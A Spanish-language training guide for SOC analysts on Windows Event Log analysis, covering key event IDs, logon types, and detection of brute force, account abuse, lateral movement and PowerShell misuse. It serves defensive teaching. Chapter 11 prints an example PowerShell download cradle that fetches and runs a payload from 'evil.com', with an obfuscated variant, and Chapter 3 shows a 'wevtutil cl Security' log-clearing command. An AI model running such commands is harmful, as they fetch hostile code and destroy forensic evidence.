Windows Event Log Analysis
The Complete SOC Analyst Guide
Critical Event IDs, Investigation Workflows, Real Scenarios, Interview Questions, and Practice Quizzes. By Jbird - Cybersecurity Engineering Manager | Hiring Manager. From zero to reading Event Logs like you have been doing it for years.
Tabla de Contenidos
| # | Capitulo |
|---|---|
| 1 | Why Event Logs Matter (And Why SOC Analysts Live in Them) |
| 2 | Event Log Architecture: How Windows Logging Actually Works |
| 3 | Where to Find Event Logs: Event Viewer, PowerShell, and Beyond |
| 4 | Anatomy of a Windows Event Log Entry |
| 5 | The Critical Event IDs You Must Know |
| 6 | Authentication Events: Logon, Logoff, and Failed Attempts |
| 7 | Account Management: Creation, Modification, and Deletion |
| 8 | Process and Service Events |
| 9 | Privilege Escalation and Policy Changes |
| 10 | Lateral Movement Detection Through Event Logs |
| 11 | PowerShell and Script Block Logging |
| 12 | Sysmon: Supercharging Your Event Logs |
| 13 | Investigation Workflows: Step by Step |
| 14 | Real World Scenarios: Putting It All Together |
| 15 | Building Detection Rules from Event Logs |
| 16 | Event Log Quick Reference Cheat Sheet |
| 17 | Interview Questions (25 Questions with Answers) |
| 18 | Practice Quiz (35 Questions) |
| 19 | Quiz Answer Key with Explanations |
Capitulo 1 - Why Event Logs Matter (And Why SOC Analysts Live in Them)
Permítame ser honesto con usted. Si quiere ser un SOC analyst, va a pasar una porción masiva de su día leyendo Windows Event Logs. No es glamuroso, no es la escena de hacking de Hollywood, pero es genuinamente la columna vertebral del trabajo de investigación de seguridad en la mayoría de los entornos empresariales.
Cuando sucede algo sospechoso en una máquina Windows, los event logs son el primer lugar al que acude. Punto.
Digo esto desde la experiencia. Cuando yo era un SOC analyst, y ahora como un Cybersecurity Engineering Manager que realiza entrevistas técnicas, el Análisis de event logs es una de las cosas principales que busco en los candidatos. Si puede sentarse con un conjunto de event logs y explicarme lo que sucedió en una máquina, ya está por delante de la mayoría de las personas que se postulan a puestos de SOC de nivel de entrada.
La realidad es que la mayoría de los candidatos pueden decirme qué es un SIEM, pero cuando les muestro un raw event log y les pido que lo interpreten, se quedan paralizados. Está guía existe debido a esa brecha.
La construí específicamente para personas que quieren pasar de tener cero experiencia con Windows Event Logs a ser capaces de leerlos como un analyst experimentado. Vamos a cubrir la arquitectura, los Event IDs críticos que absolutamente debe memorizar, flujos de investigación reales y escenarios reales que reflejan lo que usted manejará en el trabajo. También incluí preguntas de entrevista y un quiz de práctica al final porque si está estudiando para un puesto de SOC analyst, este es el tipo de material que aparecerá.
Lo que cubre está guía: Esto no es una vista superficial. Estamos profundizando en cómo funciona el logging de Windows, qué le dice cada Event ID crítico, cómo encadenar eventos para construir una línea de tiempo de un ataque y cómo usar herramientas como PowerShell, Event Viewer y Sysmon para extraer exactamente lo que necesita durante una investigación. Para cuando termine está guía, usted debería ser capaz de mirar un conjunto de Windows Event Logs y contar una historia completa sobre lo que sucedió en esa máquina.
INTERVIEW TIP: Como alguien que realiza entrevistas técnicas para puestos de SOC analyst, puedo decirle que las preguntas sobre event log analysis aparecen en casi todas las entrevistas que realizo. Si puede recorrer un event log y explicar lo que sucedió, destacará entre otros candidatos.
Capitulo 2 - Event Log Architecture: How Windows Logging Actually Works
Antes de que pueda leer los event logs de manera efectiva, necesita entender cómo Windows los genera y los almacena. Windows utiliza el servicio Windows Event Log (wevtsvc) para administrar el logging de eventos en todo el sistema operativo. Cada acción que Windows considera digna de ser registrada pasa a través de este servicio y se escribe en uno de varios archivos de log almacenados como archivos .evtx en disco.
The Three Core Event Logs
Hay docenas de event logs en un sistema Windows, pero tres son el núcleo absoluto con los que usted interactuará más como SOC analyst.
| Log Name | Location | What Gets Logged Here |
|---|---|---|
| Security | Security.evtx | Eventos de autenticación, logon/logoff, uso de privilegios, cambios de política, acceso a objetos. Este es SU log primario como SOC analyst. |
| System | System.evtx | Eventos a nivel de SO: inicio/parada de servicios, fallos de drivers, cambios de hora del sistema, actividad de Windows Update, errores de hardware. |
| Application | Application.evtx | Eventos de aplicaciones instaladas. Fallos de software, estado de despliegue, errores y advertencias específicas de la aplicación. |
Additional Logs That Matter
| Log Name | Why It Matters |
|---|---|
| Microsoft-Windows-PowerShell/Operational | Captura la ejecución de PowerShell, script block logging y historial de comandos. Crítico para detectar malware fileless. |
| Microsoft-Windows-Sysmon/Operational | Si está instalado Sysmon, este es un tesoro. Creación de procesos, conexiones de red, marcas de tiempo de creación de archivos, y más. |
| Microsoft-Windows-Windows Defender/Operational | Detecciones de Defender, resultados de escaneo y eventos de protección en tiempo real. |
| Microsoft-Windows-TaskScheduler/Operational | Creación y ejecución de tareas programadas. Los atacantes adoran las tareas programadas para persistencia. |
| Microsoft-Windows-TerminalServices-RemoteConnectionManager/Operational | Intentos de conexión RDP. Esencial para detectar lateral movement. |
| Microsoft-Windows-WMI-Activity/Operational | Logging de actividad WMI. WMI es comúnmente abusado para lateral movement y persistencia. |
Log Storage and Retention
Por defecto, los Windows event logs se almacenan en C:\Windows\System32\winevt\Logs\. Cada log tiene un tamaño máximo, y cuando se alcanza ese tamaño, los eventos más antiguos se sobrescriben. Esto es increíblemente importante de entender desde una perspectiva forense. El tamaño predeterminado del log Security es solo de 20 MB, lo que en un sistema ocupado puede rotar en horas. Esto significa que si usted no tiene un SIEM o una solución de reenvío de logs que recopile estos logs en tiempo real, podría perder evidencia crítica antes de siquiera saber que ocurrió un incidente.
PRO TIP: En la mayoría de los entornos empresariales, los event logs se reenvían a un SIEM (como Microsoft Sentinel, Splunk o Elastic) en tiempo real. Como SOC analyst, usted típicamente consultará el SIEM en lugar de mirar los event logs locales directamente. Sin embargo, durante la respuesta a incidentes, puede que necesite obtener logs directamente de una máquina, especialmente si no estaba reenviando logs correctamente.
Event Log Severity Levels
| Level | Icon | What It Means |
|---|---|---|
| Information | Blue i | Eventos operativos normales. Un servicio se inició, un usuario inició sesión con éxito, etc. |
| Warning | Yellow triangle | Algo inusual pero no crítico. Un servicio tardó demasiado en iniciarse, el espacio en disco se está agotando, etc. |
| Error | Red circle | Algo falló. Un servicio falló, un driver no pudo cargarse, ocurrió un error de aplicación. |
| Critical | Red X | Un fallo grave que puede requerir atención inmediata. Fallo del sistema, pérdida de datos, fallo de hardware. |
| Audit Success | Key icon | Un evento de auditoría de seguridad que tuvo éxito. Logon exitoso, acceso a archivo exitoso, etc. |
| Audit Failure | Lock icon | Un evento de auditoría de seguridad que falló. Intento de logon fallido, acceso a archivo denegado, etc. |
Capitulo 3 - Where to Find Event Logs: Event Viewer, PowerShell, and Beyond
Event Viewer (eventvwr.msc)
Event Viewer es la herramienta GUI incorporada para navegar por los event logs en una máquina Windows. Puede iniciarlo escribiendo eventvwr.msc en el diálogo Run o buscando Event Viewer en el menú Start. Es la forma más común de navegar manualmente por los logs en una sola máquina.
El panel izquierdo muestra las categorías de logs, el panel central muestra los eventos y el panel inferior muestra los detalles de un evento seleccionado. Para el trabajo de SOC, pasará la mayor parte del tiempo en Windows Logs > Security, pero no ignore la sección Applications and Services Logs ya que es donde residen PowerShell, Sysmon y otros logs críticos.
Filtering in Event Viewer: Los raw event logs son ruidosos. Un servidor ocupado puede generar miles de eventos por hora. Event Viewer le permite filtrar por Event ID, rango de fechas, fuente y palabras clave. También puede crear Custom Views que guardan sus criterios de filtro para uso repetido.
PowerShell: Get-WinEvent
PowerShell es la herramienta de potencia para el Análisis de event logs. El cmdlet Get-WinEvent es significativamente más flexible que Event Viewer y puede manejar grandes volúmenes de logs de manera mucho más eficiente.
# Listar todos los event logs disponibles
Get-WinEvent -ListLog * | Select-Object LogName, RecordCount
# Obtener los últimos 50 eventos de Security
Get-WinEvent -LogName Security -MaxEvents 50
# Filtrar por Event ID (ejemplo: intentos de logon fallidos)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4625}
# Filtrar por rango de fechas
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624; StartTime=(Get-Date).AddHours(-24)}
# Exportar a CSV para análisis
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624} |
Export-Csv -Path C:\logons.csv -NoTypeInformationPRO TIP:
Get-WinEventcon-FilterHashtablees significativamente más rápido que tuberizar aWhere-Objectporque el filtrado ocurre a nivel de log en lugar de cargar todos los eventos en la memoria primero. En un servidor de producción con millones de eventos, está diferencia importa mucho.
Reading .evtx Files Offline
# Leer un archivo .evtx exportado
Get-WinEvent -Path C:\Evidence\Security.evtx
# Filtrar archivo exportado por Event ID
Get-WinEvent -Path C:\Evidence\Security.evtx -FilterHashtable @{ID=4688}Durante la respuesta a incidentes, a menudo recibirá archivos .evtx exportados de máquinas comprometidas. Ser capaz de analizar estos offline con PowerShell es una habilidad crítica. También puede abrir archivos .evtx directamente en Event Viewer yendo a Action > Open Saved Log.
wevtutil.exe
# Listar todos los logs
wevtutil el
# Consultar Event IDs específicos
wevtutil qe Security /q:"*[System[(EventID=4625)]]" /c:10 /f:text
# Exportar un log a .evtx
wevtutil epl Security C:\Evidence\Security_backup.evtx
# Borrar un log (requiere administrador)
wevtutil cl SecurityHEADS UP: Si ve el Event ID 1102 (audit log fue borrado) en el log Security, esa es una señal de alarma masiva. Los atacantes frecuentemente borran los event logs para cubrir sus huellas. Este evento en sí mismo no se puede eliminar porque se genera después de que se completa la operación de borrado. Siempre busque esto durante las investigaciones.
Capitulo 4 - Anatomy of a Windows Event Log Entry
Cada evento en un Windows event log sigue la misma estructura. Entender cada campo es esencial porque cuando está investigando un incidente, cada pieza de datos en ese evento de entrada podría ser la pista que resuelve el caso.
Example: Event 4624 (Successful Logon)
Log Name: Security
Source: Microsoft-Windows-Security-Auditing
Event ID: 4624
Task Category: Logon
Level: Information
Keywords: Audit Success
User: CORP\jsmith
Computer: WORKSTATION-PC1
Description: An account was successfully logged on.
Subject:
Security ID: S-1-5-18
Account Name: WORKSTATION-PC1$
Account Domain: CORP
Logon ID: 0x3E7
Logon Information:
Logon Type: 10
Logon Process: User32
Authentication Package: Negotiate
New Logon:
Security ID: S-1-5-21-xxxx-xxxx-xxxx-1234
Account Name: jsmith
Account Domain: CORP
Logon ID: 0x1A2B3C
Network Information:
Workstation Name: ATTACKER-PC
Source Network Address: 192.168.1.50
Source Port: 49832Breaking Down Each Field
| Field | What It Means | Why It Matters |
|---|---|---|
| Event ID | Identificador numérico que le dice QUÉ sucedió (4624 = logon exitoso) | El campo más importante. |
| Log Name | De qué log proviene este evento (Security, System, Application) | Indica dónde buscar |
| Source | El componente que generó el evento | Microsoft-Windows-Security-Auditing genera la mayoría de los eventos de Security |
| Date/Time | Cuándo ocurrió el evento | La zona horaria es extremadamente importante. Siempre confirme la zona horaria. |
| Task Category | Categoría legible por humanos (Logon, Account Management, Process Creation) | Agrupa Event IDs relacionados |
| Level/Keywords | Severidad + resultado de la auditoría | Information, Warning, Error, Audit Success, Audit Failure |
| Computer | Hostname de la máquina donde se generó el evento | Crítico para correlacionar a través de máquinas |
| Subject | La cuenta que inició la acción | QUIÉN realizó la acción |
| Logon Type | CÓMO ocurrió el logon (interactive, network, RDP, etc.) | Cubierto en detalle más abajo |
| New Logon | La cuenta que realmente inició sesión | Puede diferir del Subject (cuenta de servicio iniciando sesión en un usuario) |
| Logon ID | Valor hexadecimal que identifica de forma única esta sesión de logon | Correlacionar todas las actividades dentro de la misma sesión |
| Network Information | Source IP, port, workstation name | Oro para la detección de lateral movement |
PRO TIP: El campo Logon ID es uno de los campos menos utilizados por los junior analysts. Es un identificador único de sesión. Una vez que tiene un Logon ID de un evento de logon sospechoso (4624), puede buscar ese mismo Logon ID en TODOS los eventos para ver todo lo que hizo ese usuario durante esa sesión específica: creación de procesos, acceso a archivos, uso de privilegios y el eventual logoff (4634).
Capitulo 5 - The Critical Event IDs You Must Know
Hay miles de Event IDs en Windows, pero como SOC analyst, usted interactuará con un conjunto central de quizás 30 a 40 en una base regular. Las siguientes tablas están organizadas por categoría y representan los Event IDs que considero absolutamente esenciales. Si se está preparando para una entrevista de SOC analyst, memorice estos.
Authentication Events
| Event ID | Description | Why It Matters |
|---|---|---|
| 4624 | Successful logon | Muestra quién inició sesión, cómo (Logon Type) y desde dónde. Su pan de cada día. |
| 4625 | Failed logon attempt | Detección de brute force, credential stuffing, password spraying. Volumen alto = señal de alarma. |
| 4634 | Successful logoff | Marca el fin de una sesión. Empareje con 4624 usando Logon ID. |
| 4647 | User initiated logoff | El usuario cerró sesión activamente (vs logoff del sistema). Menos común pero más intencional. |
| 4648 | Logon using explicit credentials | Alguien usó RunAs o mapeó una unidad con credenciales diferentes. Indicador de lateral movement. |
| 4672 | Special privileges assigned to new logon | Se otorgaron derechos de administrador. Si es inesperado, es una señal de alarma de privilege escalation. |
| 4776 | NTLM authentication (success/fail) | El Domain Controller valida las credenciales. El campo Source muestra qué máquina inició la autenticación. |
| 4768 | Kerberos TGT requested | Inicio de autenticación Kerberos. Los códigos de error pueden indicar Kerberoasting. |
| 4769 | Kerberos service ticket requested | Solicitud de ticket de servicio. Los patrones anómalos indican lateral movement. |
| 4771 | Kerberos pre-authentication failed | Fallo de autenticación Kerberos. Puede indicar brute force contra cuentas de dominio. |
Account Management Events
| Event ID | Description | Why It Matters |
|---|---|---|
| 4720 | User account created | Cuentas nuevas apareciendo inesperadamente = atacante creando persistencia. |
| 4722 | User account enabled | Una cuenta deshabilitada de repente se está habilitando justifica una investigación. |
| 4723 | Password change attempted | Usuario intentó cambiar su propia contraseña. |
| 4724 | Password reset attempted | Un administrador restableció la contraseña de alguien. Verifique si esto fue autorizado. |
| 4725 | User account disabled | Podría ser desvinculación normal o un atacante deshabilitando a los defensores. |
| 4726 | User account deleted | Verifique si esto fue parte de un proceso legítimo. |
| 4728 | Member added to security-enabled global group | Agregar a Domain Admins = alerta crítica. |
| 4732 | Member added to security-enabled local group | Agregado a Administradores locales. Classic privilege escalation. |
| 4735 | Security-enabled local group changed | Podría indicar manipulación de permisos. |
| 4756 | Member added to universal security group | Modificación a nivel de empresa de un grupo de seguridad. Alto impacto. |
Process and Execution Events
| Event ID | Description | Why It Matters |
|---|---|---|
| 4688 | New process created | Muestra cada proceso que se inicia. Proceso padre, argumentos de línea de comandos (si está habilitado), contexto de usuario. |
| 4689 | Process exited | Útil para determinar cuánto tiempo se ejecutó un proceso. |
| 7045 | New service installed (System log) | Los atacantes usan servicios para persistencia y ejecución. |
| 7040 | Service start type changed | Podría indicar cambios en el mecanismo de persistencia. |
| 4697 | Service installed on the system (Security log) | Similar a 7045 pero en el log Security. Captura la ruta del binario del servicio. |
| Sysmon 1 | Process creation with full command line | Líneas de comandos completas y info del proceso padre por defecto. |
| Sysmon 3 | Network connection detected | Conexiones de red con contexto de proceso. Esencial para detección de C2. |
System and Security Events
| Event ID | Description | Why It Matters |
|---|---|---|
| 1102 | Audit log cleared | Alguien borró el log de Security. Casi siempre es malicioso. No se puede eliminar después de los hechos. |
| 4616 | System time was changed | Los cambios de tiempo pueden indicar anti-forensics (manipulación de marcas de tiempo). |
| 4657 | Registry value was modified | Los cambios de Registry pueden indicar mecanismos de persistencia (claves Run, servicios). |
| 4663 | Object access attempt | Se intentó acceder a un archivo o carpeta. Requiere que se habilite la auditoría en el objeto. |
| 4698 | Scheduled task created | Mecanismo de persistencia extremadamente común para atacantes. |
| 4699 | Scheduled task deleted | Los atacantes a veces eliminan tareas después de la ejecución para limpiar. |
| 4719 | System audit policy was changed | Modificación de la política de auditoría del sistema. Atacante deshabilitando el logging = hallazgo crítico. |
| 5156 | Windows Filtering Platform allowed a connection | Conexión de red permitida por el firewall. |
| 5157 | Windows Filtering Platform blocked a connection | Puede indicar intentos de bloqueo de C2 o lateral movement. |
INTERVIEW TIP: No intente memorizar cada Event ID en Windows. Céntrese en los de este capítulo. En mis entrevistas, no espero que los candidatos reciten Event IDs de memoria, pero sí espero que conozcan los principales como 4624, 4625, 4688, 4720, y 1102 y qué significan a un nivel alto.
Capitulo 6 - Authentication Events: Logon, Logoff, and Failed Attempts
Los eventos de autenticación son la categoría de eventos más importante para un SOC analyst. Le dicen quién accedió a una máquina, cómo accedió y desde dónde. Comprender los Logon Types es absolutamente crítico porque el mismo Event ID (4624) puede significar cosas muy diferentes dependiendo del valor de Logon Type.
Logon Types: The Most Important Field
| Type | Name | Description | Security Implications |
|---|---|---|---|
| 2 | Interactive | Logon físico en el teclado o KVM | Normal para estaciones de trabajo. Sospechoso en servidores si el usuario es inesperado. |
| 3 | Network | Acceso a carpeta compartida, impresora o recurso de red | Tipo más común. Acceso SMB, unidades mapeadas. Observe fuentes inusuales. |
| 4 | Batch | Ejecución de tarea programada | Legítimo para trabajos programados. Investigue si aparecen cuentas de tareas inesperadas. |
| 5 | Service | Servicio iniciado por Service Control Manager | Normal para cuentas de servicio. Señal de alarma si una cuenta de usuario tiene logons de Service. |
| 7 | Unlock | La estación de trabajo se desbloqueó | Normal. Solo significa que alguien desbloqueó su PC. |
| 8 | NetworkCleartext | Logon de red con contraseña en cleartext | Preocupante. Credenciales enviadas en texto plano. Común con autenticación básica de IIS. |
| 9 | NewCredentials | RunAs con flag /netonly | Usado para acceder a recursos con credenciales diferentes. Indicador de lateral movement. |
| 10 | RemoteInteractive | Sesión RDP (Remote Desktop) | Esperado para administradores. Logons RDP inesperados = señal de alarma mayor. |
| 11 | CachedInteractive | Logon utilizando credenciales de dominio en caché | La máquina no pudo llegar al Domain Controller. Laptop offline o problema de red. |
REAL WORLD: Logon Type 10 (RemoteInteractive) es el tipo de logon RDP. Si está investigando un posible lateral movement, filtre por Event ID 4624 con Logon Type 10 y observe el campo Source Network Address. Eso le dice exactamente qué máquina vino la sesión RDP. Si esa IP de origen es otra máquina interna que fue recientemente comprometida, el lateral movement está confirmado.
Failed Logon Analysis (Event ID 4625)
Los eventos de logon fallidos son donde los ataques de brute force, password spraying y credential stuffing se vuelven visibles. Event 4625 incluye un Status y Sub Status code que le dice exactamente por qué falló el logon.
| Status / Sub Status | Meaning | What to Look For |
|---|---|---|
| 0xC000006D | Bad username or password | Lo más común. Volumen alto desde una fuente = brute force. |
| 0xC000006A | Wrong password (username is valid) | Confirma que el nombre de usuario existe. Atacante adivinando contraseñas. |
| 0xC0000064 | Username does not exist | Atacante intentando enumerar nombres de usuario válidos. |
| 0xC0000234 | Account is locked out | Se activó el bloqueo de cuenta. Revise eventos 4625 precedentes. |
| 0xC0000072 | Account is disabled | Alguien intentó iniciar sesión en una cuenta deshabilitada. Podría ser reconocimiento. |
| 0xC000006F | Logon outside authorized hours | Se activó la restricción de acceso basada en tiempo. |
| 0xC0000070 | Workstation restriction | La cuenta está restringida a estaciones de trabajo específicas. |
| 0xC0000193 | Account has expired | La fecha de caducidad de la cuenta pasó. |
| 0xC0000071 | Password has expired | El usuario necesita cambiar su contraseña. |
| 0xC0000224 | Password must change at next logon | Un administrador forzó un restablecimiento de contraseña. |
Brute Force Detection Pattern
14:23:01 Event 4625 Target: admin Source: 10.0.0.99 Status: 0xC000006A
14:23:01 Event 4625 Target: admin Source: 10.0.0.99 Status: 0xC000006A
14:23:02 Event 4625 Target: admin Source: 10.0.0.99 Status: 0xC000006A
14:23:02 Event 4625 Target: admin Source: 10.0.0.99 Status: 0xC000006A
14:23:03 Event 4625 Target: admin Source: 10.0.0.99 Status: 0xC000006A
14:23:03 Event 4624 Target: admin Source: 10.0.0.99 Logon Type: 3 << SUCCESSHEADS UP: Password spraying se ve diferente de brute force. En lugar de muchos intentos contra una sola cuenta, un atacante intenta una contraseña contra MUCHAS cuentas. Verá Event 4625 con la misma razón de fallo de contraseña pero disperso en diferentes cuentas objetivo, a menudo con un retraso entre cada intento para evitar los umbrales de bloqueo.
Password Spray Detection Pattern
14:23:01 Event 4625 Target: jsmith Source: 10.0.0.99 Status: 0xC000006A
14:23:05 Event 4625 Target: djones Source: 10.0.0.99 Status: 0xC000006A
14:23:09 Event 4625 Target: mwilson Source: 10.0.0.99 Status: 0xC000006A
14:23:13 Event 4625 Target: kbrown Source: 10.0.0.99 Status: 0xC000006A
14:23:17 Event 4625 Target: svcadmin Source: 10.0.0.99 Status: 0xC000006A
14:23:21 Event 4624 Target: svcadmin Source: 10.0.0.99 Logon Type: 3 << SUCCESSCapitulo 7 - Account Management: Creation, Modification, and Deletion
Los eventos de gestión de cuentas son críticos porque los atacantes frecuentemente crean nuevas cuentas, se añaden a grupos privilegiados o modifican cuentas existentes para mantener el acceso. Estos eventos le dicen exactamente qué cambios se realizaron en las cuentas de usuario y las membresías de grupo.
The Golden Sequence: Account Creation and Privilege Escalation
Uno de los patrones más peligrosos a buscar es un atacante creando una nueva cuenta e inmediatamente añadiéndola a un grupo privilegiado:
03:15:22 Event 4720 Account Created Created By: compromised_admin From: 192.168.1.50
03:15:22 Event 4722 Account Enabled Enabled By: compromised_admin
03:15:23 Event 4724 Password Reset Reset By: compromised_admin
03:15:24 Event 4728 Member Added to Group Member: svc_backup Group: Domain AdminsObserve la sincronización: los cuatro eventos ocurren en dos segundos. Esto es un claro indicador de actividad automatizada o por script. El nombre de la cuenta svc_backup también es una técnica clásica del atacante de nombrar cuentas maliciosas para que parezcan cuentas de servicio legítimas.
INTERVIEW TIP: Cuando entrevisto a los candidatos, podría mostrarles está secuencia y preguntarles qué ven. Los candidatos fuertes inmediatamente señalan la rápida sucesión de creación de cuentas seguida de la adición al grupo Domain Admin. La convención de nombres diseñada para pasar desapercibida es un punto extra.
What to Look For in Account Management Events
- Accounts created outside business hours - La mayoría de las creaciones de cuentas legítimas ocurren durante el horario comercial a través de procesos de aprovisionamiento. Una nueva cuenta a las 3 AM es sospechosa.
- Accounts added to privileged groups - Cualquier adición a Domain Admins, Enterprise Admins, Schema Admins o Administradores locales debe generar una alerta. Severidad alta.
- Password resets on service accounts - Las contraseñas de las cuentas de servicio rara vez cambian. Si se restablece una sin una solicitud de cambio, investigue.
- Accounts re-enabled that were previously disabled - Si la cuenta de un empleado desvinculado se habilita de repente, ese es un hallazgo de alta prioridad.
Capitulo 8 - Process and Service Events
Los eventos de creación de procesos (Event ID 4688) son increíblemente potentes cuando el logging de la línea de comandos está habilitado. Le permiten ver exactamente qué comandos se ejecutaron en un sistema, lo cual es esencial para entender lo que hizo un atacante después de obtener acceso.
Enabling Command Line Logging
Por defecto, Event ID 4688 solo registra el nombre del proceso, no los argumentos de la línea de comandos. Debe habilitar el logging de la línea de comandos a través de Group Policy:
Computer Configuration > Administrative Templates > System >
Audit Process Creation > Include command line in process creation eventsWithout command line logging:
New Process Name: C:\Windows\System32\cmd.exe
Creator Process Name: C:\Windows\explorer.exeWith command line logging:
New Process Name: C:\Windows\System32\cmd.exe
Process Command Line: cmd.exe /c whoami /all
Creator Process Name: C:\Windows\explorer.exeSuspicious Process Patterns
| Pattern | What It Looks Like | Why Suspicious |
|---|---|---|
| LOLBins | certutil.exe, mshta.exe, regsvr32.exe, rundll32.exe con argumentos inusuales | Binarios legítimos de Windows abusados para descargar/ejecutar contenido malicioso |
| Unusual parent-child | svchost.exe iniciando cmd.exe o PowerShell | Svchost no debería lanzar shells de comandos. Indica inyección de código. |
| Temp directory execution | Proceso ejecutándose desde C:\Users\*\AppData\Local\Temp\ | El malware frecuentemente deja y ejecuta desde directorios temporales. |
| Encoded PowerShell | powershell.exe -enc [base64 string] | Indicador clásico de actividad maliciosa ofuscada. |
| Renamed system binaries | svch0st.exe, csrrs.exe | Los atacantes renombran binarios para imitar procesos legítimos del sistema. |
| Orphaned processes | Proceso sin padre lógico | Puede indicar inyección de proceso o hollowing. |
Service Installation Events
Event ID 7045 (System log) y 4697 (Security log) registran cuándo se instalan nuevos servicios. Esto es crítico porque los servicios son uno de los mecanismos de persistencia más comunes.
Event ID: 7045
Service Name: WindowsUpdateHelper
Service File Name: C:\ProgramData\update.exe
Service Type: user mode service
Service Start Type: auto start
Service Account: LocalSystemSeñales de alarma en este ejemplo: el nombre del servicio imita software legítimo (WindowsUpdateHelper), el binario está en ProgramData (no en una ubicación estándar de servicio), está configurado para auto start (persistencia), y se ejecuta como LocalSystem (privilegios más altos).
PRO TIP: Cuando ve una instalación de servicio nueva, siempre verifique: (1) ¿Está el binario en una ubicación estándar como System32 o Program Files? (2) ¿Es la cuenta de servicio apropiada? (3) ¿Hubo un ticket de cambio o despliegue que lo explique? (4) ¿Coincide el nombre del binario con software legítimo conocido? Si la respuesta a cualquiera de estás es no, investigue más a fondo.
Capitulo 9 - Privilege Escalation and Policy Changes
Event ID 4672: Special Privileges Assigned
Event ID 4672 se dispara cada vez que una cuenta inicia sesión con privilegios administrativos o especiales. Por sí solo, esto es extremadamente ruidoso porque las cuentas de servicio y los administradores legítimos lo disparan constantemente. La clave es saber qué es normal en su entorno.
Event ID: 4672
Subject: Account Name: jsmith
Privileges: SeDebugPrivilege SeTakeOwnershipPrivilege SeBackupPrivilege
SeRestorePrivilege SeSecurityPrivilegeLa lista de privilegios le dice exactamente qué derechos elevados fueron otorgados. SeDebugPrivilege es particularmente notable: permite a un proceso depurar (e inyectar código en) otros procesos. Si una cuenta no administrativa recibe repentinamente SeDebugPrivilege, esa es una señal crítica.
Dangerous Privileges to Watch For
| Privilege | What It Allows | Why Attackers Want It |
|---|---|---|
| SeDebugPrivilege | Debug any process | Inyección de procesos, volcado de credenciales (Mimikatz requiere esto) |
| SeTakeOwnershipPrivilege | Tomar posesión de cualquier objeto | Eludir permisos de archivos, acceder a datos restringidos |
| SeBackupPrivilege | Leer cualquier archivo (eludir ACLs) | Exfiltrar datos, incluyendo SAM database y NTDS.dit |
| SeRestorePrivilege | Escribir cualquier archivo (eludir ACLs) | Modificar archivos del sistema, plantar backdoors |
| SeImpersonatePrivilege | Impersonar tokens de cliente | Ataques de impersonación de tokens (Potato exploits) |
| SeLoadDriverPrivilege | Cargar drivers de kernel | Cargar drivers maliciosos para funcionalidad de rootkit |
Audit Policy Changes (Event ID 4719)
Event ID 4719 se dispara cuando se modifica la política de auditoría del sistema. Esto es crítico porque una de las primeras cosas que hacen los atacantes sofisticados después de obtener acceso es deshabilitar o reducir el logging para cubrir sus huellas.
HEADS UP: La combinación de Event ID 4719 (política de auditoría cambiada para reducir el logging) seguida de Event ID 1102 (log de auditoría borrado) es uno de los indicadores más fuertes de un sistema comprometido. Un atacante está tratando activamente de ocultar sus huellas. Si ve este patrón, escale inmediatamente.
Capitulo 10 - Lateral Movement Detection Through Event Logs
Lateral movement es cuando un atacante se mueve de una máquina comprometida a otra dentro de su red. Está es una de las cosas más críticas que detectar porque significa que un atacante tiene un punto de apoyo y está expandiendo su acceso. Los event logs son su herramienta principal para atrapar esto.
RDP Lateral Movement
Cuando un atacante usa RDP para moverse entre máquinas, la pista de eventos abarca tanto la máquina de origen como la de destino:
| Where to Look | Event ID | What It Shows |
|---|---|---|
| Destination Security Log | 4624 (Logon Type 10) | Quién inició sesión vía RDP y desde qué IP de origen |
| Destination TerminalServices | 1149 | Sesión RDP establecida, IP de origen |
| Destination LocalSessionManager | 21, 22, 25 | Sesión de logon (21), inicio de shell (22), reconexión (25) |
| Source Security Log | 4648 | Uso de credenciales explícitas para conexión RDP al destino |
PsExec Lateral Movement
PsExec y herramientas similares funcionan instalando un servicio temporal en la máquina objetivo. Esto deja una pista muy distinta:
On the TARGET machine:
Event 4624 Logon Type 3 (Network) from source IP
Event 4672 Special privileges assigned (admin logon)
Event 7045 New service installed: PSEXESVC
Event 4688 Process creation: C:\Windows\PSEXESVC.exe
Event 4688 Process creation: cmd.exe (spawned by PSEXESVC)
Event 7045 Service removed: PSEXESVC (cleanup)WMI Lateral Movement
WMI es comúnmente utilizado por atacantes para lateral movement porque es una herramienta administrativa legítima:
On the TARGET machine:
Event 4624 Logon Type 3 (Network) from source IP
Event 4672 Special privileges assigned
Event 4688 Process: C:\Windows\System32\wbem\WmiPrvSE.exe
Event 4688 Process: cmd.exe or powershell.exe (child of WmiPrvSE.exe)KEY POINT: WmiPrvSE.exe NO debería estar iniciando cmd.exe o PowerShell.
REAL WORLD: El parent process es todo cuando se detecta lateral movement. Si ve
cmd.exeopowershell.exesiendo iniciado porWmiPrvSE.exe,services.exe(PsExec), owsmprovhost.exe(WinRM/PSRemoting), eso es lateral movement hasta que se demuestre lo contrario. La actividad normal de usuario no produce estás relaciones padre-hijo.
Capitulo 11 - PowerShell and Script Block Logging
PowerShell es tanto una herramienta legítima de administración como una de las herramientas más comúnmente abusadas por atacantes. El malware fileless depende en gran medida de PowerShell porque puede ejecutar código malicioso completamente en memoria sin escribir ningún archivo en disco.
Types of PowerShell Logging
| Logging Type | What It Captures | Where to Find It |
|---|---|---|
| Module Logging | Detalles de la ejecución de pipeline para módulos especificados | PowerShell/Operational (Event ID 4103) |
| Script Block Logging | Contenido real de scripts y comandos de PowerShell (desofuscado) | PowerShell/Operational (Event ID 4104) |
| Transcription | Archivo de texto transcrito de toda la actividad de PowerShell | Ruta de archivo configurada en disco |
| Constrained Language Mode | Restringe PowerShell a operaciones seguras (prevención, no logging) | N/A |
Event ID 4104: Script Block Logging
Este es el evento de PowerShell más valioso para la seguridad. Event ID 4104 registra el contenido real de los scripts de PowerShell desofuscados. Incluso si un atacante utiliza codificación base64 o concatenación de strings para ofuscar sus comandos, Script Block Logging captura la versión final decodificada:
Event ID: 4104
ScriptBlock Text:
IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')Incluso si el comando original estaba ofuscado:
$a='IEX';$b='(New'+'-Ob'+'ject Net.We'+'bClient)';iex "$a $b.DownloadString('http://evil.com/payload.ps1')"Script Block Logging captura la versión desofuscada.
Suspicious PowerShell Indicators
| Indicator | What It Looks Like | Why Suspicious |
|---|---|---|
| Download cradle | IEX (New-Object Net.WebClient).DownloadString() | Descarga y ejecuta código desde internet en memoria |
| Base64 encoding | powershell -enc [long base64 string] | Ofuscación para evitar la detección |
